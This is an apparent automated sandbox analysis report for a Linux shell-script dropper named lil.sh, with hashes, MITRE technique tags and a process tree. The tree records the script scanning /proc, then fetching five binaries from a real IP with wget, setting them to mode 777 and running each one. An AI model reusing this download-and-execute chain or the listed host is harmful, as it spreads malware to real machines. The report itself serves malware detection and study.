426b4376bb5ec406e676bc36a8b7b79b9d731055193c34a64ba0ad941d521d0f

Analysis

max time kernel
2s
max time network
130s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/08/2026, 12:44

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
lil.sh
Size 840B
Sample260802-pypr7stapd
SHA256 426b4376bb5ec406e676bc36a8b7b79b9d731055193c34a64ba0ad941d521d0f
MD5 26869cd3e64c67cd34c2db399a38e784
SHA1 dbff9d7d3d3dabe95deec74d2823f732520eed1a
SHA512 34d1dd86fe8970b88e8de661b25d34bc2cccb39435e4dbb8d4cd6f72e685d9bee814cac7c3f286ceb11d69af6fee7bb06d18f36dfc2ad87affdc740f06a56fcb
TLSH
T117015ECAD130981040AAD4AC2AA75095F831C3C3171B0F79BF6CA83DEB88D00F066F90
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 5 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1669	chmod
1674	chmod
1679	chmod
1684	chmod
1689	chmod

Executes dropped EXE 5 IoCs

ioc	pid	Process
/tmp/qjN	1670	lil.sh
/tmp/5Cfo	1675	lil.sh
/tmp/Bll	1680	lil.sh
/tmp/Gmz	1685	lil.sh
/tmp/Okf	1690	lil.sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/filesystems	ls

Writes file to tmp directory 6 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/Gmz	wget
File opened for modification	/tmp/Okf	wget
File opened for modification	/tmp/lil	lil.sh
File opened for modification	/tmp/qjN	wget
File opened for modification	/tmp/5Cfo	wget
File opened for modification	/tmp/Bll	wget

/tmp/lil.sh
/tmp/lil.sh
1⤵
- Executes dropped EXE
- Writes file to tmp directory
PID:1489
- /bin/ls
  ls -l /proc/1/exe
  2⤵
  PID:1490
- /bin/ls
  ls -l /proc/10/exe
  2⤵
  PID:1491
- /bin/ls
  ls -l /proc/1000/exe
  2⤵
  - Reads runtime system information
  PID:1492
- /bin/ls
  ls -l /proc/1010/exe
  2⤵
  - Reads runtime system information
  PID:1493
- /bin/ls
  ls -l /proc/1019/exe
  2⤵
  - Reads runtime system information
  PID:1494
- /bin/ls
  ls -l /proc/1023/exe
  2⤵
  - Reads runtime system information
  PID:1495
- /bin/ls
  ls -l /proc/1027/exe
  2⤵
  PID:1496
- /bin/ls
  ls -l /proc/1031/exe
  2⤵
  PID:1497
- /bin/ls
  ls -l /proc/1035/exe
  2⤵
  PID:1498
- /bin/ls
  ls -l /proc/1039/exe
  2⤵
  PID:1499
- /bin/ls
  ls -l /proc/1044/exe
  2⤵
  PID:1500
- /bin/ls
  ls -l /proc/1048/exe
  2⤵
  PID:1503
- /bin/ls
  ls -l /proc/1049/exe
  2⤵
  PID:1504
- /bin/ls
  ls -l /proc/1052/exe
  2⤵
  PID:1505
- /bin/ls
  ls -l /proc/1053/exe
  2⤵
  PID:1506
- /bin/ls
  ls -l /proc/1056/exe
  2⤵
  PID:1508
- /bin/ls
  ls -l /proc/1065/exe
  2⤵
  - Reads runtime system information
  PID:1509
- /bin/ls
  ls -l /proc/1066/exe
  2⤵
  PID:1510
- /bin/ls
  ls -l /proc/1068/exe
  2⤵
  PID:1511
- /bin/ls
  ls -l /proc/1069/exe
  2⤵
  - Reads runtime system information
  PID:1516
- /bin/ls
  ls -l /proc/1077/exe
  2⤵
  - Reads runtime system information
  PID:1517
- /bin/ls
  ls -l /proc/1084/exe
  2⤵
  - Reads runtime system information
  PID:1518
- /bin/ls
  ls -l /proc/1088/exe
  2⤵
  PID:1519
- /bin/ls
  ls -l /proc/1089/exe
  2⤵
  PID:1520
- /bin/ls
  ls -l /proc/1090/exe
  2⤵
  PID:1521
- /bin/ls
  ls -l /proc/1091/exe
  2⤵
  PID:1522
- /bin/ls
  ls -l /proc/1094/exe
  2⤵
  - Reads runtime system information
  PID:1523
- /bin/ls
  ls -l /proc/1096/exe
  2⤵
  PID:1524
- /bin/ls
  ls -l /proc/11/exe
  2⤵
  - Reads runtime system information
  PID:1525
- /bin/ls
  ls -l /proc/1138/exe
  2⤵
  PID:1526
- /bin/ls
  ls -l /proc/115/exe
  2⤵
  PID:1527
- /bin/ls
  ls -l /proc/1151/exe
  2⤵
  PID:1528
- /bin/ls
  ls -l /proc/1152/exe
  2⤵
  PID:1529
- /bin/ls
  ls -l /proc/1159/exe
  2⤵
  - Reads runtime system information
  PID:1530
- /bin/ls
  ls -l /proc/1176/exe
  2⤵
  PID:1531
- /bin/ls
  ls -l /proc/1192/exe
  2⤵
  PID:1532
- /bin/ls
  ls -l /proc/1195/exe
  2⤵
  - Reads runtime system information
  PID:1533
- /bin/ls
  ls -l /proc/12/exe
  2⤵
  PID:1534
- /bin/ls
  ls -l /proc/1214/exe
  2⤵
  PID:1535
- /bin/ls
  ls -l /proc/1238/exe
  2⤵
  PID:1536
- /bin/ls
  ls -l /proc/1262/exe
  2⤵
  PID:1537
- /bin/ls
  ls -l /proc/1267/exe
  2⤵
  PID:1538
- /bin/ls
  ls -l /proc/13/exe
  2⤵
  - Reads runtime system information
  PID:1539
- /bin/ls
  ls -l /proc/1302/exe
  2⤵
  - Reads runtime system information
  PID:1540
- /bin/ls
  ls -l /proc/1327/exe
  2⤵
  PID:1541
- /bin/ls
  ls -l /proc/1333/exe
  2⤵
  - Reads runtime system information
  PID:1542
- /bin/ls
  ls -l /proc/1348/exe
  2⤵
  - Reads runtime system information
  PID:1543
- /bin/ls
  ls -l /proc/137/exe
  2⤵
  PID:1544
- /bin/ls
  ls -l /proc/1381/exe
  2⤵
  - Reads runtime system information
  PID:1545
- /bin/ls
  ls -l /proc/14/exe
  2⤵
  PID:1546
- /bin/ls
  ls -l /proc/1456/exe
  2⤵
  PID:1547
- /bin/ls
  ls -l /proc/1475/exe
  2⤵
  PID:1548
- /bin/ls
  ls -l /proc/1481/exe
  2⤵
  PID:1549
- /bin/ls
  ls -l /proc/1485/exe
  2⤵
  - Reads runtime system information
  PID:1550
- /bin/ls
  ls -l /proc/1486/exe
  2⤵
  PID:1551
- /bin/ls
  ls -l /proc/1487/exe
  2⤵
  - Reads runtime system information
  PID:1552
- /bin/ls
  ls -l /proc/1489/exe
  2⤵
  PID:1553
- /bin/ls
  ls -l /proc/15/exe
  2⤵
  - Reads runtime system information
  PID:1554
- /bin/ls
  ls -l /proc/159/exe
  2⤵
  - Reads runtime system information
  PID:1555
- /bin/ls
  ls -l /proc/16/exe
  2⤵
  - Reads runtime system information
  PID:1556
- /bin/ls
  ls -l /proc/160/exe
  2⤵
  - Reads runtime system information
  PID:1557
- /bin/ls
  ls -l /proc/161/exe
  2⤵
  - Reads runtime system information
  PID:1558
- /bin/ls
  ls -l /proc/162/exe
  2⤵
  PID:1559
- /bin/ls
  ls -l /proc/163/exe
  2⤵
  - Reads runtime system information
  PID:1560
- /bin/ls
  ls -l /proc/164/exe
  2⤵
  PID:1561
- /bin/ls
  ls -l /proc/165/exe
  2⤵
  - Reads runtime system information
  PID:1562
- /bin/ls
  ls -l /proc/166/exe
  2⤵
  PID:1563
- /bin/ls
  ls -l /proc/167/exe
  2⤵
  - Reads runtime system information
  PID:1564
- /bin/ls
  ls -l /proc/168/exe
  2⤵
  PID:1565
- /bin/ls
  ls -l /proc/169/exe
  2⤵
  - Reads runtime system information
  PID:1566
- /bin/ls
  ls -l /proc/17/exe
  2⤵
  PID:1567
- /bin/ls
  ls -l /proc/170/exe
  2⤵
  - Reads runtime system information
  PID:1568
- /bin/ls
  ls -l /proc/171/exe
  2⤵
  PID:1569
- /bin/ls
  ls -l /proc/172/exe
  2⤵
  PID:1570
- /bin/ls
  ls -l /proc/173/exe
  2⤵
  PID:1571
- /bin/ls
  ls -l /proc/174/exe
  2⤵
  - Reads runtime system information
  PID:1572
- /bin/ls
  ls -l /proc/175/exe
  2⤵
  PID:1573
- /bin/ls
  ls -l /proc/176/exe
  2⤵
  - Reads runtime system information
  PID:1574
- /bin/ls
  ls -l /proc/178/exe
  2⤵
  PID:1575
- /bin/ls
  ls -l /proc/18/exe
  2⤵
  PID:1576
- /bin/ls
  ls -l /proc/19/exe
  2⤵
  - Reads runtime system information
  PID:1577
- /bin/ls
  ls -l /proc/2/exe
  2⤵
  PID:1578
- /bin/ls
  ls -l /proc/20/exe
  2⤵
  PID:1579
- /bin/ls
  ls -l /proc/203/exe
  2⤵
  - Reads runtime system information
  PID:1580
- /bin/ls
  ls -l /proc/204/exe
  2⤵
  - Reads runtime system information
  PID:1581
- /bin/ls
  ls -l /proc/21/exe
  2⤵
  PID:1582
- /bin/ls
  ls -l /proc/22/exe
  2⤵
  PID:1583
- /bin/ls
  ls -l /proc/23/exe
  2⤵
  PID:1584
- /bin/ls
  ls -l /proc/24/exe
  2⤵
  PID:1585
- /bin/ls
  ls -l /proc/248/exe
  2⤵
  PID:1586
- /bin/ls
  ls -l /proc/25/exe
  2⤵
  PID:1587
- /bin/ls
  ls -l /proc/26/exe
  2⤵
  - Reads runtime system information
  PID:1588
- /bin/ls
  ls -l /proc/27/exe
  2⤵
  PID:1589
- /bin/ls
  ls -l /proc/270/exe
  2⤵
  PID:1590
- /bin/ls
  ls -l /proc/28/exe
  2⤵
  PID:1591
- /bin/ls
  ls -l /proc/29/exe
  2⤵
  PID:1592
- /bin/ls
  ls -l /proc/3/exe
  2⤵
  PID:1593
- /bin/ls
  ls -l /proc/30/exe
  2⤵
  - Reads runtime system information
  PID:1594
- /bin/ls
  ls -l /proc/31/exe
  2⤵
  - Reads runtime system information
  PID:1595
- /bin/ls
  ls -l /proc/313/exe
  2⤵
  - Reads runtime system information
  PID:1596
- /bin/ls
  ls -l /proc/317/exe
  2⤵
  - Reads runtime system information
  PID:1597
- /bin/ls
  ls -l /proc/32/exe
  2⤵
  PID:1598
- /bin/ls
  ls -l /proc/34/exe
  2⤵
  PID:1599
- /bin/ls
  ls -l /proc/35/exe
  2⤵
  - Reads runtime system information
  PID:1600
- /bin/ls
  ls -l /proc/36/exe
  2⤵
  PID:1601
- /bin/ls
  ls -l /proc/4/exe
  2⤵
  PID:1602
- /bin/ls
  ls -l /proc/414/exe
  2⤵
  PID:1603
- /bin/ls
  ls -l /proc/415/exe
  2⤵
  - Reads runtime system information
  PID:1604
- /bin/ls
  ls -l /proc/416/exe
  2⤵
  PID:1605
- /bin/ls
  ls -l /proc/420/exe
  2⤵
  - Reads runtime system information
  PID:1606
- /bin/ls
  ls -l /proc/421/exe
  2⤵
  PID:1607
- /bin/ls
  ls -l /proc/443/exe
  2⤵
  PID:1608
- /bin/ls
  ls -l /proc/444/exe
  2⤵
  PID:1609
- /bin/ls
  ls -l /proc/455/exe
  2⤵
  PID:1610
- /bin/ls
  ls -l /proc/458/exe
  2⤵
  PID:1611
- /bin/ls
  ls -l /proc/462/exe
  2⤵
  - Reads runtime system information
  PID:1612
- /bin/ls
  ls -l /proc/467/exe
  2⤵
  PID:1613
- /bin/ls
  ls -l /proc/468/exe
  2⤵
  PID:1614
- /bin/ls
  ls -l /proc/472/exe
  2⤵
  PID:1615
- /bin/ls
  ls -l /proc/489/exe
  2⤵
  PID:1616
- /bin/ls
  ls -l /proc/495/exe
  2⤵
  - Reads runtime system information
  PID:1617
- /bin/ls
  ls -l /proc/5/exe
  2⤵
  PID:1618
- /bin/ls
  ls -l /proc/503/exe
  2⤵
  PID:1619
- /bin/ls
  ls -l /proc/509/exe
  2⤵
  PID:1620
- /bin/ls
  ls -l /proc/527/exe
  2⤵
  PID:1621
- /bin/ls
  ls -l /proc/528/exe
  2⤵
  PID:1622
- /bin/ls
  ls -l /proc/547/exe
  2⤵
  PID:1623
- /bin/ls
  ls -l /proc/554/exe
  2⤵
  - Reads runtime system information
  PID:1624
- /bin/ls
  ls -l /proc/566/exe
  2⤵
  - Reads runtime system information
  PID:1625
- /bin/ls
  ls -l /proc/582/exe
  2⤵
  - Reads runtime system information
  PID:1626
- /bin/ls
  ls -l /proc/6/exe
  2⤵
  PID:1627
- /bin/ls
  ls -l /proc/607/exe
  2⤵
  PID:1628
- /bin/ls
  ls -l /proc/608/exe
  2⤵
  - Reads runtime system information
  PID:1629
- /bin/ls
  ls -l /proc/639/exe
  2⤵
  PID:1630
- /bin/ls
  ls -l /proc/646/exe
  2⤵
  - Reads runtime system information
  PID:1631
- /bin/ls
  ls -l /proc/650/exe
  2⤵
  PID:1632
- /bin/ls
  ls -l /proc/664/exe
  2⤵
  PID:1633
- /bin/ls
  ls -l /proc/670/exe
  2⤵
  PID:1634
- /bin/ls
  ls -l /proc/677/exe
  2⤵
  - Reads runtime system information
  PID:1635
- /bin/ls
  ls -l /proc/691/exe
  2⤵
  - Reads runtime system information
  PID:1636
- /bin/ls
  ls -l /proc/7/exe
  2⤵
  PID:1637
- /bin/ls
  ls -l /proc/712/exe
  2⤵
  - Reads runtime system information
  PID:1638
- /bin/ls
  ls -l /proc/723/exe
  2⤵
  - Reads runtime system information
  PID:1639
- /bin/ls
  ls -l /proc/78/exe
  2⤵
  PID:1640
- /bin/ls
  ls -l /proc/79/exe
  2⤵
  PID:1641
- /bin/ls
  ls -l /proc/8/exe
  2⤵
  - Reads runtime system information
  PID:1642
- /bin/ls
  ls -l /proc/80/exe
  2⤵
  PID:1643
- /bin/ls
  ls -l /proc/81/exe
  2⤵
  - Reads runtime system information
  PID:1644
- /bin/ls
  ls -l /proc/82/exe
  2⤵
  PID:1645
- /bin/ls
  ls -l /proc/83/exe
  2⤵
  PID:1646
- /bin/ls
  ls -l /proc/84/exe
  2⤵
  PID:1647
- /bin/ls
  ls -l /proc/86/exe
  2⤵
  - Reads runtime system information
  PID:1648
- /bin/ls
  ls -l /proc/89/exe
  2⤵
  PID:1649
- /bin/ls
  ls -l /proc/9/exe
  2⤵
  PID:1650
- /bin/ls
  ls -l /proc/900/exe
  2⤵
  - Reads runtime system information
  PID:1651
- /bin/ls
  ls -l /proc/902/exe
  2⤵
  PID:1652
- /bin/ls
  ls -l /proc/907/exe
  2⤵
  PID:1653
- /bin/ls
  ls -l /proc/910/exe
  2⤵
  - Reads runtime system information
  PID:1654
- /bin/ls
  ls -l /proc/924/exe
  2⤵
  PID:1655
- /bin/ls
  ls -l /proc/929/exe
  2⤵
  - Reads runtime system information
  PID:1656
- /bin/ls
  ls -l /proc/943/exe
  2⤵
  - Reads runtime system information
  PID:1657
- /bin/ls
  ls -l /proc/949/exe
  2⤵
  - Reads runtime system information
  PID:1658
- /bin/ls
  ls -l /proc/963/exe
  2⤵
  - Reads runtime system information
  PID:1659
- /bin/ls
  ls -l /proc/967/exe
  2⤵
  PID:1660
- /bin/ls
  ls -l /proc/969/exe
  2⤵
  PID:1661
- /bin/ls
  ls -l /proc/972/exe
  2⤵
  - Reads runtime system information
  PID:1662
- /bin/ls
  ls -l /proc/977/exe
  2⤵
  PID:1663
- /bin/ls
  ls -l /proc/98/exe
  2⤵
  PID:1664
- /bin/ls
  ls -l /proc/987/exe
  2⤵
  - Reads runtime system information
  PID:1665
- /bin/ls
  ls -l /proc/991/exe
  2⤵
  PID:1666
- /bin/rm
  rm -rf qjN
  2⤵
  PID:1667
- /usr/bin/wget
  wget http://129.121.110.105/qjN
  2⤵
  - Writes file to tmp directory
  PID:1668
- /bin/chmod
  chmod 777 qjN
  2⤵
  - File and Directory Permissions Modification
  PID:1669
- /tmp/qjN
  ./qjN lilin
  2⤵
  PID:1670
- /bin/rm
  rm -rf 5Cfo
  2⤵
  PID:1672
- /usr/bin/wget
  wget http://129.121.110.105/5Cfo
  2⤵
  - Writes file to tmp directory
  PID:1673
- /bin/chmod
  chmod 777 5Cfo
  2⤵
  - File and Directory Permissions Modification
  PID:1674
- /tmp/5Cfo
  ./5Cfo lilin
  2⤵
  PID:1675
- /bin/rm
  rm -rf Bll
  2⤵
  PID:1677
- /usr/bin/wget
  wget http://129.121.110.105/Bll
  2⤵
  - Writes file to tmp directory
  PID:1678
- /bin/chmod
  chmod 777 Bll
  2⤵
  - File and Directory Permissions Modification
  PID:1679
- /tmp/Bll
  ./Bll lilin
  2⤵
  PID:1680
- /bin/rm
  rm -rf Gmz
  2⤵
  PID:1682
- /usr/bin/wget
  wget http://129.121.110.105/Gmz
  2⤵
  - Writes file to tmp directory
  PID:1683
- /bin/chmod
  chmod 777 Gmz
  2⤵
  - File and Directory Permissions Modification
  PID:1684
- /tmp/Gmz
  ./Gmz lilin
  2⤵
  PID:1685
- /bin/rm
  rm -rf Okf
  2⤵
  PID:1687
- /usr/bin/wget
  wget http://129.121.110.105/Okf
  2⤵
  - Writes file to tmp directory
  PID:1688
- /bin/chmod
  chmod 777 Okf
  2⤵
  - File and Directory Permissions Modification
  PID:1689
- /tmp/Okf
  ./Okf lilin
  2⤵
  PID:1690
- /bin/rm
  rm -rf lil
  2⤵
  PID:1692

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

5Cfo

Path /tmp/5Cfo
Size 66KB
SHA256 012a83eb9c1bb879f36b9d1e2bf8239a4bed446ea534cd81ec823b516ab74153
MD5 cdd6396662f7d1a408387effb8ecf8b4
SHA1 c0be94d5438afe59b93c63d9e0ec79b59762ec67
SHA512 b5cb45dc6484c3ab1ea06b77d6f0fb4848d2f3fe0c4622945e924c195b29c30111d5e52f4ff2bee2d7f4faaab9775ec7557780cf6b9a528ff4c34696a3354d46
SSDEEP 1536:8HnfzdUusutYpDd/HfJiySzB6bHXY3QkAIqWi8SY9JdtEHLJOKN:8hUFhpZ5Qkb3Y3ukSY9Jd+LJr
TLSH
T1D8631A6BBD819F19C4C1167AFE1E534E331327B8E3DE7213DE146B64278B56B0E29405
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Bll

Path /tmp/Bll
Size 79KB
SHA256 4ab72f52b3c55976307cd50eae46d0e986106cef4e3d7982eb94890969a49df3
MD5 0f3e28fb9c6a1537bdb4b5f8e447db03
SHA1 9aad119634da7d4930c766e688fe4b8ea1f1a8d3
SHA512 e244ecbbd78da60e5b6457a5e9bca1c5b92e4774bfe14d0b38ef38d78a95f7c850b9518c5498ab3ebbd323d8bd14c9bd69e7b2b99f7af85dc8804b84ff72afe2
SSDEEP 1536:KHnXqYM5+Z1JIXqJibeNSv3BtEKk/rkc5L7R0EIdlH/i3hf464/LQv:mqPu1OQ383DEKk/4c5L73+OhfR4/L
TLSH
T11983075ABD41AF15D4D526BAFF1E434A33536BBCE3EE7102DE141B2527CA91B0F2A402
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Gmz

Path /tmp/Gmz
Size 98KB
SHA256 b1c484012b3f4db81d20c73929b6d072bc82416cc268471e5090100fa0c40cc9
MD5 e6bca31f9fed1084176a9b4335b5ea81
SHA1 93ae343aa76d1e20754438b3091752ad67f41478
SHA512 ca930bdd5e947f93bc32f9e78815074ef762aca88cfd27f4c2fe9c5e68eb687fcd2ec98acd3657d59361739a5f23d695f5d3279dc4d62f551b2200742ea1d5f8
SSDEEP 1536:uzFQBcgR2rVHCOZSMtY3MACCFWjIJPyw7Hz0kZUVNrztTJcW4U7fLT0bG:ivrVHCL3p5FHJPFTSVNrztqWLAy
TLSH
T1F2A3C70E2E21DFBCF6A9C23487F74B31969C23D126E1C584D1ACD5002E3875E995F7AA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Okf

Path /tmp/Okf
Size 98KB
SHA256 fa2b3276c0b0430fe3e97fd523e420878bfa3d9177e727adc89238bbc0bdb41f
MD5 18f3add44a61875b412b4936f20b5760
SHA1 40ddfc0bbbbcf65ac76b757d6aa62d75346d6ffa
SHA512 29540ca21695c5c0b080d7032c39534faa54b768b0b97b4b9021a2afd93ea28507bb041ecd841bb986bf663322897430048befd0458bc902243855e655393d75
SSDEEP 1536:iE0fSoVNswRZtXueT1nSpPmc8zxObEjFo9Pop+O+ZgM5/NKL+y+:709YKZtXjT1n68wvC+CL
TLSH
T1BBA3D80AAF611DB7D81BCD3705AC1B4235CCA50771687BB53578DC28F68A94B8AE3CB4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

lil

Path /tmp/lil
Size 1B
SHA256 01ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
MD5 68b329da9893e34099c7d8ad5cb9c940
SHA1 adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA512 be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09
MD5 SHA1 SHA512

Submit Download

qjN

Path /tmp/qjN
Size 69KB
SHA256 9301fe401f22805a5eaeb673d89fb482c9015555e32b7b68495aa7cae78a0e6d
MD5 5058fc79c169a2ee6805d4d53658a649
SHA1 d3bc98dcbe0a6555894a371fdb6d68cf099fedd4
SHA512 1891b725105494eef9bf7c75ce5d3cf5d7348cde61ced5c8bdd65cc9d545d254ab5fcafab344312eb730eded49ce76aba63c8f4634d977ac66a966f0193a5eda
SSDEEP 1536:rz/07IzGIaYDS76JlOFuMoZFUWQSpNfRYieZcTnFGEoXs5WL4X:rz/07ISIaYWO5M8FxQafxg8nFGEgscL
TLSH
T1CD63185AB9439F16C2C156BBFF1E4389332763A8D3EA7103DA152F6937CF42A0E26541
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads